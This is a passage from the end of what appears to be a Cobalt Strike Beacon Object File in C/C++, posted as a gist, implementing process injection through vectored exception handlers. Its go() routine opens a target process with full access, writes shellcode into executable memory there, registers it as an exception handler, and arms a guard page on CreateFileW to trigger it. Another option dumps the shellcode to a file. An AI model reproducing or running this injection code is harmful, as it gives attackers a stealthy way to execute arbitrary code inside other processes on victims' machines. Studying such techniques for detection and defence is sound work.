return EXCEPTION_CONTINUE_EXECUTION;
}
void END_SHELLCODE(void) {}
PVOID FindShellcode(unsigned int* outLen, BOOL trim)
{
// Use this trick from Nick Harbour. Extracts the assembly from our own compiled function (ShellcodeFunc)
// We create a placeholder function called END_SHELLCODE which is placed directly after our shellcode func
// Then we just need to subtract the ShellcodeFunc address from the END_SHELLCODE address to get the length
// See: https://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/
// Note: this requires incremental linking to be disabled for debug builds
// https://stackoverflow.com/questions/2485336/address-of-function-is-not-actual-code-address
PVOID start = ShellcodeFunc;
PVOID end = END_SHELLCODE;
if (trim)
{
// Optionally trim any extra 0xCC bytes after retn
while ((byte*)start + (*outLen)++ <= (byte*)end - sizeof(unsigned))
{
//if (*((byte*)start + *outLen) == 0xcc
// && *((byte*)start + (*outLen - 1)) == 0xc3)
// break;
// TODO: do we care about alignment?
// If so then add a modulo check here
if (*(unsigned*)((byte*)start + *outLen) == 0xCCCCCCCC
&& *((byte*)start + *outLen - 1) == 0xC3)
break;
}
}
else
{
*outLen = ((byte*)end - (byte*)start);
}
BeaconPrintf(CALLBACK_OUTPUT, "Start=%p, End=%p (test: %d)", start, end, (start < end));
BeaconPrintf(CALLBACK_OUTPUT, "Shellcode length=%llu", *outLen);
return &ShellcodeFunc;
}
void RopTest()
{
/*
InjectVEH!MyVectoredHandler InjectVEH.cpp @ 40]:
00007ff6`402c1b10 48894c2408 mov qword ptr [rsp+8],rcx
00007ff6`402c1b15 b8ffffffff mov eax,0FFFFFFFFh
00007ff6`402c1b1a c3 ret
00007ff6`402c1b1b cc int 3
00007ff6`402c1b1c cc int 3
00007ff6`402c1b1d cc int 3
00007ff6`402c1b1e cc int 3
00007ff6`402c1b1f cc int 3
*/
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
//DFR_LOCAL(KERNEL32, RaiseException);
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)0x4141414141414141);
AddVectoredExceptionHandler(0, (PVECTORED_EXCEPTION_HANDLER)0x4242424242424242);
//AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)MyVectoredHandler);
BeaconPrintf(CALLBACK_OUTPUT, "Exception handler added");
BeaconPrintf(CALLBACK_OUTPUT, "Enter to continue ..");
getchar();
RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
}
void go(char* args, int len)
{
#pragma warning( disable : 6387 )
#pragma warning( disable : 6031 )
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
//DFR_LOCAL(KERNEL32, GetCurrentProcessId);
//DFR_LOCAL(KERNEL32, RaiseException);
//DFR_LOCAL(KERNEL32, OpenProcess);
//DFR_LOCAL(KERNEL32, VirtualAllocEx);
//DFR_LOCAL(KERNEL32, WriteProcessMemory);
//DFR_LOCAL(KERNEL32, VirtualProtectEx);
//DFR_LOCAL(KERNEL32, VirtualProtect);
//DFR_LOCAL(KERNEL32, VirtualAlloc);
//DFR_LOCAL(KERNEL32, CloseHandle);
//DFR_LOCAL(KERNEL32, GetLastError);
//DFR_LOCAL(KERNEL32, Sleep);
//DFR_LOCAL(MSVCRT, memcpy);
//DFR_LOCAL(MSVCRT, getchar);
//DFR_LOCAL(MSVCRT, fopen);
//DFR_LOCAL(MSVCRT, fwrite);
//DFR_LOCAL(MSVCRT, fclose);
ULONGLONG head;
HANDLE hProc = NULL;
DWORD dwPid = 0;
DWORD oldProtect = 0;
SIZE_T bytesWritten = 0;
void* alloc = NULL;
void* addr = NULL;
unsigned int scLen = 0;
PVOID scBuf = NULL;
FILE* output_file = NULL;
datap parser;
BeaconDataParse(&parser, args, len);
int opt = BeaconDataInt(&parser);
BeaconPrintf(CALLBACK_OUTPUT, "Opt: %d", opt);
BeaconPrintf(CALLBACK_OUTPUT, "Running in PID: %d", GetCurrentProcessId());
switch(opt)
{
case 0:
TestAddHandlerDefault();
break;
case 1:
TestAddHandlerCustom();
break;
case 2:
AddVectoredExceptionHandler(TRUE, &MyVectoredHandler);
BeaconPrintf(CALLBACK_OUTPUT, "Added handler");
head = GetLdrpVectorHandlerList();
DumpHandlerList((PVECTORED_HANDLER_LIST)head);
BeaconPrintf(CALLBACK_OUTPUT, "Enter to continue ..");
getchar();
RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
break;
case 3:
dwPid = BeaconDataInt(&parser);
BeaconPrintf(CALLBACK_OUTPUT, "Target PID: %d", dwPid);
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProc == NULL)
{
BeaconPrintf(CALLBACK_OUTPUT, "Unable to open PID=%d, Error=%d",
dwPid, GetLastError());
return;
}
head = GetLdrpVectorHandlerList();
DumpHandlerListEx(hProc, (void*)head);
break;
case 4:
dwPid = BeaconDataInt(&parser);
BeaconPrintf(CALLBACK_OUTPUT, "Target PID: %d", dwPid);
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProc == NULL)
{
BeaconPrintf(CALLBACK_OUTPUT, "Unable to open PID=%d, Error=%d", dwPid, GetLastError());
return;
}
scLen = 0;
scBuf = FindShellcode(&scLen, TRUE);
//alloc = VirtualAllocEx(hProc, 0, sizeof(calcBytes), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//alloc = VirtualAllocEx(hProc, 0, sizeof(dbgBytes), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
alloc = VirtualAllocEx(hProc, 0, scLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == NULL)
return;
BeaconPrintf(CALLBACK_OUTPUT, "Allocated shellcode at %p", alloc);
//WriteProcessMemory(hProc, alloc, calcBytes, sizeof(calcBytes), &bytesWritten);
//WriteProcessMemory(hProc, alloc, dbgBytes, sizeof(dbgBytes), &bytesWritten);
WriteProcessMemory(hProc, alloc, scBuf, scLen, &bytesWritten);
BeaconPrintf(CALLBACK_OUTPUT, "Wrote %d bytes of shellcode", bytesWritten);
RtlpAddVectoredHandlerEx(hProc, FALSE, (PVECTORED_EXCEPTION_HANDLER)alloc, FALSE);
// Cause debug exception
//addr = GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateFile");
//VirtualProtectEx(hProc, addr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
//WriteProcessMemory(hProc, addr, dbgBytes, sizeof(dbgBytes), &bytesWritten);
//VirtualProtectEx(hProc, addr, 1, oldProtect, &oldProtect);
// Cause a guard page violation
addr = GetProcAddress(GetModuleHandleA("kernel32"), "CreateFileW");
VirtualProtectEx(hProc, addr, 1, PAGE_EXECUTE | PAGE_GUARD, &oldProtect);
break;
case 5:
alloc = VirtualAlloc(0, sizeof(calcBytes), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(alloc, calcBytes, sizeof(calcBytes));
AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)alloc);
BeaconPrintf(CALLBACK_OUTPUT, "Added calc handler");
head = GetLdrpVectorHandlerList();
DumpHandlerList((PVECTORED_HANDLER_LIST)head);
BeaconPrintf(CALLBACK_OUTPUT, "Enter to exit ..");
getchar();
RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
break;
case 6:
RtlpAddVectoredHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)ShellcodeFunc, FALSE);
BeaconPrintf(CALLBACK_OUTPUT, "Added ShellcodeFunc handler");
head = GetLdrpVectorHandlerList();
DumpHandlerList((PVECTORED_HANDLER_LIST)head);
BeaconPrintf(CALLBACK_OUTPUT, "Enter to exit ..");
getchar();
//RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
VirtualProtect(GetProcAddress(GetModuleHandleA("kernel32"), "Sleep"), 1, PAGE_EXECUTE | PAGE_GUARD, &oldProtect);
Sleep(1000);
BeaconPrintf(CALLBACK_OUTPUT, "All done");
break;
case 7:
scLen = 0;
scBuf = FindShellcode(&scLen, TRUE);
BeaconPrintf(CALLBACK_OUTPUT, "Shellcode at: %#llx", scBuf);
output_file = fopen("shellcode.bin", "w");
fwrite(scBuf, scLen, 1, output_file);
fclose(output_file);
BeaconPrintf(CALLBACK_OUTPUT, "Written shellcode");
break;
case 8:
RopTest();
break;
}
if (hProc != NULL)
CloseHandle(hProc);
}
}
// Define a main function for the bebug build
#if defined(_DEBUG) && !defined(_GTEST)
int main(int argc, char* argv[]) {
if (argc < 2)
{
BeaconPrintf(CALLBACK_ERROR, " \n Usage: %s <op> <args>", argv[0]);
BeaconPrintf(CALLBACK_ERROR, " \n Opcodes:\n");
BeaconPrintf(CALLBACK_ERROR, " 0: Test AddVectoredExceptionHandler (default API)");
BeaconPrintf(CALLBACK_ERROR, " 1: Test RtlpAddVectoredHandler (custom implementation)");
BeaconPrintf(CALLBACK_ERROR, " 2: Add a VEH and wait for input");
BeaconPrintf(CALLBACK_ERROR, " 3: Dump VEH from remote proc");
BeaconPrintf(CALLBACK_ERROR, " \tArgs: <PID>");
BeaconPrintf(CALLBACK_ERROR, " 4: Inject VEH into remote proc (custom implementation)");
BeaconPrintf(CALLBACK_ERROR, " \tArgs: <PID>");
return 1;
}
int op = atoi(argv[1]);
bof::mock::BofData data;
data << op;
if (argc == 3)
data << atoi(argv[2]);
go(data.get(), data.size());
return 0;
}
// Define unit tests
#elif defined(_GTEST)
#include <gtest\gtest.h>
TEST(BofTest, Test1) {
std::vector<bof::output::OutputEntry> got =
bof::runMocked<>(go);
std::vector<bof::output::OutputEntry> expected = {
{CALLBACK_OUTPUT, "System Directory: C:\\Windows\\system32"}
};
// It is possible to compare the OutputEntry vectors, like directly
// ASSERT_EQ(expected, got);
// However, in this case, we want to compare the output, ignoring the case.
ASSERT_EQ(expected.size(), got.size());
ASSERT_STRCASEEQ(expected[0].output.c_str(), got[0].output.c_str());
}
#endif
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment